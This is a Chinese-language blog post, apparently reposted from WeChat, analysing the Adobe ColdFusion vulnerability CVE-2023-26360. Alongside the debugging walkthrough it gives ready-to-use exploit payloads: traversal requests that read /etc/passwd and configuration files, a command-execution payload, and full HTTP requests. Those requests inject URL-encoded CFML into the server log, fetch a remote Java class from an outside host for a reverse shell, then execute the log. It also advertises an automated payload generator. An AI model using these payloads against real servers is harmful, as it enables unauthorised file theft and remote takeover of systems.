后面会分享一下我的反弹思路
事件
在2023年12月5日美国网络安全和基础设施安全局 (CISA)发出警告称,黑客利用 Adobe ColdFusion (CVE-2023-26360)的安全漏洞黑进去了美国政府(联邦民事执行局)服务器
复现分析环境:Adobe ColdFusion 2021.0.05.330109版本,系统:windows 10
漏洞影响:Adobe ColdFusion <=2021.0.05版本,Adobe ColdFusion 2018 <=2021.0.15版本
调试环境搭建
开启Debugging Logging
设置 IDEA
添加远程调试
启动调试
漏洞和补丁分析
我们看一下触发的漏洞的地方,我只要看这个漏洞触发的这个地方
调试往下走,可以看到读取到了系统文件的内容了
我们从上面的调试分析可以看出来这个漏洞的主要点就是这个ComponentFilter过滤器执行了Map vars = (Map)JSONUtils.deserializeJSON(args.remove("_variables"));
这个args.remove("_variables")
就是我们传入的路径
我们看一下补丁信息
然后我在服务器上的/创建一共a文件
我这边构建一共代码如下
Map<String, Object> argss =
new
HashMap
<>();
argss.put(
"_variables"
,
"{"_metadata":{"classname":"../../../../../../../../../../../../a","_variables":[]}}"
);
JSONUtils.deserializeJSON(argss.remove(
"_variables"
));
NeoJspWriter
neoJspWriter
= (NeoJspWriter) context.pageContext.out;
neoJspWriter.buffer.toString();
执行看一下结果可以看见读取出来了a文件内容
想深入研究我们为什么会这样,我们可以跟进去JSONUtils.deserializeJSON(argss.remove("_variables"));
代码里面的deserializeJSON
方法
调试看一下,走到了deserializeJSON
我们继续往下,走到parseJSON
这个地方解析我们的JSON 字符串
我们调试跟进去parseJSON
方法
然后看一下这个函数的主要目的就是叫JSON解析成JAVA对象
可以看见代码Object cfml = parseObject(state);
解析 JSON 对象
我们继续往parseObject方法里面跟进去,解析JSON对象
上面的但是处理json数据的,走到如下图的的if判断我们JSON包含 _metadata
字进入convertToTemplateProxy
方法里面
看一下convertToTemplateProxy
方法代码
代码
private
static
Object
convertToTemplateProxy
(Struct s){
try
{
Object
metadata
= s.get(
"_metadata"
);
FusionContext
context
=FusionContext.getCurrent();
if
(metadata !=
null
){
String
serverClass
=(String)((Map)metadata).get(
"classname"
);
String
contextPath
= context.getRequest().getContextPath();
if
(!serverClass.startsWith(
"/"
)){
serverClass = serverClass.substring(serverClass.indexOf(
"//"
)+
2
);
serverClass = serverClass.substring(serverClass.indexOf(
"/"
)+
1
);
}
if
(contextPath !=
null
&&!
""
.equals(contextPath)&& serverClass.startsWith(contextPath)){
serverClass = serverClass.substring(contextPath.length());
}
File
pageFile
=
new
File
(context.getRealPath(serverClass,
true
));
TemplateProxy
tp
=TemplateProxyFactory.resolveFile(context.pageContext, pageFile);
Object
varObj
= s.get(
"_variables"
);
Map
vars
= varObj
instanceof
Array?
null
:(Map)varObj;
if
(vars !=
null
){
tp.getVariableScope().putAll(vars);
}
return
tp;
}
}
catch
(Throwable var10){
}
return
s;
}
简单解读一下上面的代码
获取 _metadata
字段的值
Object
metadata
= s.get(
"_metadata"
);
获取到metadata之后调用,获取classname里面的数据
String
serverClass
= (String)((Map)metadata).get(
"classname"
);
是下面的就是处理 serverClass
字符串的前缀
if
(!serverClass.startsWith(
"/"
)) {
serverClass = serverClass.substring(serverClass.indexOf(
"//"
) +
2
);
serverClass = serverClass.substring(serverClass.indexOf(
"/"
) +
1
);
}
然后走到
File
pageFile
=
new
File
(context.getRealPath(serverClass,
true
));
// 创建一个File对象调试执行如下
File
pageFile
=
new
File
(
"../../../../../../../../../../../etc/passwd"
);
TemplateProxy
tp
=TemplateProxyFactory.resolveFile(context.pageContext, pageFile);
// 重点,生成动态内容
我们重点看一下TemplateProxy tp = TemplateProxyFactory.resolveFile(context.pageContext, pageFile);
这个代码,跟进去
我们主要看一下下面这个代码就是动态地加载
CfJspPage
page
= getCFCInstance(servletContext, canonicalResolvedFile, fullName);
我们跟进去到了page = TemplateClassLoader.newInstance(servletContext, canonicalFile.getPath(), null);
我们进入这个newInstance
方法里面,可以看见有这个indClass
是这个方法是动态类加载,我们可以进入看一下子他是这么实现的
我们看一下indClass
是怎么实现的,可以看见跑到了c = (Class)classCache.get(realPath);
这个代码,可以看见返回的是已编译的类,如果缓存中存在,则直接返回
我们继续往c = (Class)classCache.get("/a.log");
里面进,看怎么写的
看一下下面代码目的是在启用统计信息或其他监控特性时执行不同的缓存获取操作
然后进入get_statsOff
方法里面,可以看见下面有一个判断如果第一次加载了有这个缓存,如果有就返回这个缓存,如果没有他会重新获取加载,就是说如果你比如第一个执行了/etc/passwd
读取这个文件内容了,当下一次执行的时候这个里面就有缓存了,if判断会变成真返回这个缓存
如果没有执行过,重新加载if就是不成立,执行下面的,走到this.reap()
这个是没有获取到缓存对象返回空这个不重要,重要的是value = this.fetch(key);
fetch会重新加载数据
我们可以进去看看可以看一下进入了fetch用于动态加载类的代码,看一下下面圈住的返回的就是获取的/etc/passwd
的字节码文件
把这个执行的值拿出来,如下
然后看这个动态加载类的源码
import
coldfusion.runtime.AttributeCollection;
import
coldfusion.runtime.CFPage;
import
coldfusion.runtime.CfJspPage;
import
javax.servlet.jsp.JspWriter;
import
javax.servlet.jsp.tagext.Tag;
public
final
class
cfa1233795
extends
CFPage
{
public
static
final
Object
metaData
=
new
AttributeCollection
(
new
Object
[]{
"Functions"
,
new
Object
[
0
],
"Properties"
,
new
Object
[
0
]});
public
final
Object
getMetadata
(){
return
metaData;
}
protected
final
Object
runPage
(){
out =((CfJspPage)
this
).pageContext.getOut();
parent =((CfJspPage)
this
).parent;
((CfJspPage)
this
).pageContext.setPageEncoding(
"Cp1252"
);
out.write(
"读取的文件"
);
return
null
;
}
}
我们看到上面的调用了CfJspPage这个东西,响应给给用户
触发漏洞的绕过
我们在,详细看一下这个漏洞触发的条件
看一下安装路径下的/cfusion/wwwroot/WEB-INF/web.xml
http://192.168.56.110:8500/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/filemanager.cfc?method=foo&_cfclient=true
访问文件的请求路径会触发 coldfusion.xml.rpc.CFCServlet
类来处理
如果你们想看他是怎么发到,可以自行看一下
请求的后缀 .cfc
会到ComponentFilter来处理
主要看一下子ComponentFilter
1、请求后缀不能是cfr
2、method
参数不能是空
3、_cfclient
参数是true
或者是yes
为什么呢看一下
最终达到了文件读取效果
打出最好的漏洞效果
判断漏洞是否存在(文件读取)
1、针对windows和linux有回显通用判断POC
_variables={
"_metadata"
:{
"classname"
:
"../lib/neo-security.xml"
,
"_variables"
:[]}}
_variables={
"_metadata"
:{
"classname"
:
"l/../logs/coldfusion-out.log"
},
"_variables"
:[]}
2、针对有回显linux启动位置路径会有不同判断
_variables={
"_metadata"
:{
"classname"
:
"../../../../../../../../../../../../etc/passwd"
,
"_variables"
:[]}}
3、针对windows和linux无回显判断
_variables=<cfscript>fileWrite('../../../../../wwwroot/cf_scripts/aaaa.txt','aaaaaa');</cfscript>
//写入文件
https:/xxxxx.com/cf_scripts/aaaa.txt
// 访问该文件存在说明漏洞存在
命令执行
_variables=<cfexecute name='ipconfig' outputFile='c:a.txt' ></cfexecute>
反弹shell(代码执行)
漏洞原理是我们构建CFML数据客户端请求的数据会保存到服务器的coldfusion-out.log
,这个目录会记录请求的错误的信息,coldfusion-out.log文件里面就有我们写入的代码了,然后我们使用classname读取执行这个日志文件达到代码执行的效果
这边我有一个思路,就是通过把恶意的class放到服务器上面,然后下载保存调用这个class文件,调用通过上面的这个漏洞他会去动态的加载类,去调用执行我们的class文件
这个写一个脚本,这个脚本会生成一个压缩包,这个压缩包里面
压缩包code目录下
utilize
├── address
└── Poc.class
Poc.java里面主要存放反弹的代码
address存放地址和端口
我们需要构建好一个java的字节码文件,然后设置反弹的IP和端口,然后开启web
发写入日志文件的错误请求
POST
//cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=zfgea&_cfclient=true
HTTP/1.1
Host
: 192.168.56.105:8500
User-Agent
: Mozilla/5.0(Macintosh;IntelMac OS X 10_14_3)AppleWebKit/605.1.15(KHTML, like Gecko)Version/12.0.3Safari/605.1.15
Content-Length
: 816
Content-Type
: application/x-www-form-urlencoded
Accept-Encoding
: gzip, deflate
Connection
: close
_variables=
%7
b
%3
ccftry
%3
e
%3
ccfset
%20
szlh
%20
%3
d
%20
createObject
%28
%27
java
%27
%2
c
%27
java.net.URL
%27
%29
.init
%28
%27
http://
192.168
.
191.58
:
8888
/GjfZgo
%27
%29
/
%3
e
%3
ccfset
%20
cafb
%20
%3
d
%20
createObject
%28
%27
java
%27
%2
c
%27
java.lang.reflect.Array
%27
%29
/
%3
e
%3
ccfset
%20
ireh
%20
%3
d
%20
cafb.newInstance
%28
szlh.getClass
%28
%29
%2
c
1
%29
/
%3
e
%3
ccfset
%20
cafb.set
%28
ireh
%2
c
0
%2
cszlh
%29
/
%3
e
%3
ccfset
%20
fxlt
%20
%3
d
%20
createObject
%28
%27
java
%27
%2
c
%27
java.net.URLClassLoader
%27
%29
.init
%28
ireh
%2
cjavaCast
%28
%27
null
%27
%2
c
%27
%27
%29
%29
/
%3
e
%3
ccfset
%20
fxlt.loadClass
%28
%27
code.Payload
%27
%29
.newInstance
%28
%29
.main
%28
javaCast
%28
%27
null
%27
%2
c
%27
%27
%29
%29
/
%3
e
%3
ccfcatch
%20
type
%3
d
%27
any
%27
%3
e
%3
c
/cfcatch
%3
e
%3
ccffinally
%3
e
%3
ccffile
%20
action
%3
d
%27
write
%27
%20
file
%3
d
%27
%23
GetCurrentTemplatePath
%28
%29
%23
%27
%20
output
%3
d
%27
%27
%3
e
%3
c
/cffile
%3
e
%3
c
/cffinally
%3
e
%3
c
/cftry
%3
e
看一下日志写进去了
发送执行日志文件
POST
//cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=zfgea&_cfclient=true
HTTP/1.1
Host
: 192.168.56.105:8500
User-Agent
: Mozilla/5.0(Macintosh;IntelMac OS X 10_14_3)AppleWebKit/605.1.15(KHTML, like Gecko)Version/12.0.3Safari/605.1.15
Content-Length
: 85
Content-Type
: application/x-www-form-urlencoded
Accept-Encoding
: gzip, deflate
Connection
: close
_variables
={
"_metadata"
:{
"classname"
:
"l/../logs/coldfusion-out.log"
},
"_variables"
:[]}
看一下效果
自动化生成工具
上面的功能实现起来是非常非常麻烦的我写了一个自动化生成的工具,构建java的字节码文件,然后设置反弹的IP和端口,然后开启web
然后我写一个工具项目地址:关注公众号回复CVE-2023-26360
工具使用
工具名称 -host 指定反弹IP -port 指定反弹端口 -p 指定http端口(默认8888)
看一下
然后我们请求写入日志错误代码,下面的post的数据部分的http://192.168.191.58:8888/GjfZgo改成服务启动在的地址
POST
//cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=zfgea&_cfclient=true
HTTP/1.1
Host
: 192.168.56.105:8500
User-Agent
: Mozilla/5.0(Macintosh;IntelMac OS X 10_14_3)AppleWebKit/605.1.15(KHTML, like Gecko)Version/12.0.3Safari/605.1.15
Content-Length
: 816
Content-Type
: application/x-www-form-urlencoded
Accept-Encoding
: gzip, deflate
Connection
: close
_variables=
%7
b
%3
ccftry
%3
e
%3
ccfset
%20
szlh
%20
%3
d
%20
createObject
%28
%27
java
%27
%2
c
%27
java.net.URL
%27
%29
.init
%28
%27
http://
192.168
.
191.58
:
8888
/GjfZgo
%27
%29
/
%3
e
%3
ccfset
%20
cafb
%20
%3
d
%20
createObject
%28
%27
java
%27
%2
c
%27
java.lang.reflect.Array
%27
%29
/
%3
e
%3
ccfset
%20
ireh
%20
%3
d
%20
cafb.newInstance
%28
szlh.getClass
%28
%29
%2
c
1
%29
/
%3
e
%3
ccfset
%20
cafb.set
%28
ireh
%2
c
0
%2
cszlh
%29
/
%3
e
%3
ccfset
%20
fxlt
%20
%3
d
%20
createObject
%28
%27
java
%27
%2
c
%27
java.net.URLClassLoader
%27
%29
.init
%28
ireh
%2
cjavaCast
%28
%27
null
%27
%2
c
%27
%27
%29
%29
/
%3
e
%3
ccfset
%20
fxlt.loadClass
%28
%27
code.Payload
%27
%29
.newInstance
%28
%29
.main
%28
javaCast
%28
%27
null
%27
%2
c
%27
%27
%29
%29
/
%3
e
%3
ccfcatch
%20
type
%3
d
%27
any
%27
%3
e
%3
c
/cfcatch
%3
e
%3
ccffinally
%3
e
%3
ccffile
%20
action
%3
d
%27
write
%27
%20
file
%3
d
%27
%23
GetCurrentTemplatePath
%28
%29
%23
%27
%20
output
%3
d
%27
%27
%3
e
%3
c
/cffile
%3
e
%3
c
/cffinally
%3
e
%3
c
/cftry
%3
e
然后执行日志里面的代码,固定的写死的直接发送
POST
//cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=zfgea&_cfclient=true
HTTP/1.1
Host
: 192.168.56.105:8500
User-Agent
: Mozilla/5.0(Macintosh;IntelMac OS X 10_14_3)AppleWebKit/605.1.15(KHTML, like Gecko)Version/12.0.3Safari/605.1.15
Content-Length
: 85
Content-Type
: application/x-www-form-urlencoded
Accept-Encoding
: gzip, deflate
Connection
: close
_variables
={
"_metadata"
:{
"classname"
:
"l/../logs/coldfusion-out.log"
},
"_variables"
:[]}
执行看一下,上线了
坑
我这个经过多次测试发现,读取回显可能每个版本和系统是有差别的,有的可以回显示有的无法回显,有的可以反弹有的不行
反弹可能写入日志后可能会导致每次启动都会加载这个日志去请求你的服务器,还有可能只能反弹一次就不能在反弹了都是有可能的
免责声明
1. 该安全文章/工具仅供技术研究和教育用途。使用该工具时,请遵守适用的法律法规和道德准则。
2. 该文章/工具可能会涉及安全漏洞的测试和渗透测试,但请在授权的范围内使用,否则和作者无关。
3. 使用该文章/工具可能会涉及到一定的风险和不确定性,用户应该自行承担使用该工具所带来的风险。
4. 使用本文章/工具的用户应自行承担一切风险和责任。开发者对于用户使用本工具所产生的后果不承担任何责任。
原文始发于微信公众号(W啥都学):Adobe ColdFusion (CVE-2023-26360 入侵了美国联邦民事执行局)漏洞分析,实现反弹思路,
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论